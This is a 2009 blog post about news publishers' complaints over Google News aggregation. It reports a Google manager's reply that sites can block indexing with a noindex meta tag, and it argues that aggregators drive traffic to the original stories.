]]> https://bluminteractivemedia.com/2009/07/charging-for-content-ft-com-editor-weighs-in/feed/ 17 How to Block Google From Indexing Your Site https://bluminteractivemedia.com/2009/07/how-to-block-google-from-indexing-your-site/ https://bluminteractivemedia.com/2009/07/how-to-block-google-from-indexing-your-site/#comments Sun, 19 Jul 2009 15:11:50 +0000 https://bluminteractivemedia.com/?p=144

As newspaper chains and agencies like the Associated Press complain that Google News has been aggregating their content thereby hurting monetization opportunities, a Google exec says: “grow up.”

Josh Cohen, senior business product manager for Google, writing on Google’s public policy blog, explained that if you don’t want your content to show in search results or on Google News, you can put a simple piece of code on the site that will block Google from indexing the article.

For all you techies, just add <meta name=”googlebot” content=”noindex”> to a page and that’s it.  It’s called the Robots Exclusion Protocol and it’s been in use for more than 10 years.

(It’s something by the way many good blogging systems like WordPress have been able to do with free plug-in’s for years.)

Publishers can even require that the material Google indexes can be removed after a certain date (say, when it gets archived and goes behind a pay wall). You simply add a specification to the page reading “unavailable after,” Cohen went on to explain.

Cohen started off his post by quoting a declaration from a group of European newspaper and magazine publishers stating that they “no longer wish to be forced to give away property without having granted permission.”

“We agree,” he responded, “and that’s how things stand today. The truth is that news publishers, like all other content owners, are in complete control when it comes not only to what content they make available on the web, but also who can access it and at what price. This is the very backbone of the Web.”

Frankly, we don’t understand what all the fuss is about. Having content show up on Google News and point back to the original story seems like a way to increase traffic and generate revenue. Bill Grueskin, dean of academic affairs at Columbia University Journalism School and former deputy managing editor for The Wall Street Journal, said the same in an interview at PaidContent.

“Yes, it’s hard on the ego to watch another site get credit for your hard work, but is it really hurting the bottom line?” Aggregators are possibly “saviors” for drawing eyes to news sites, Grueskin said.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

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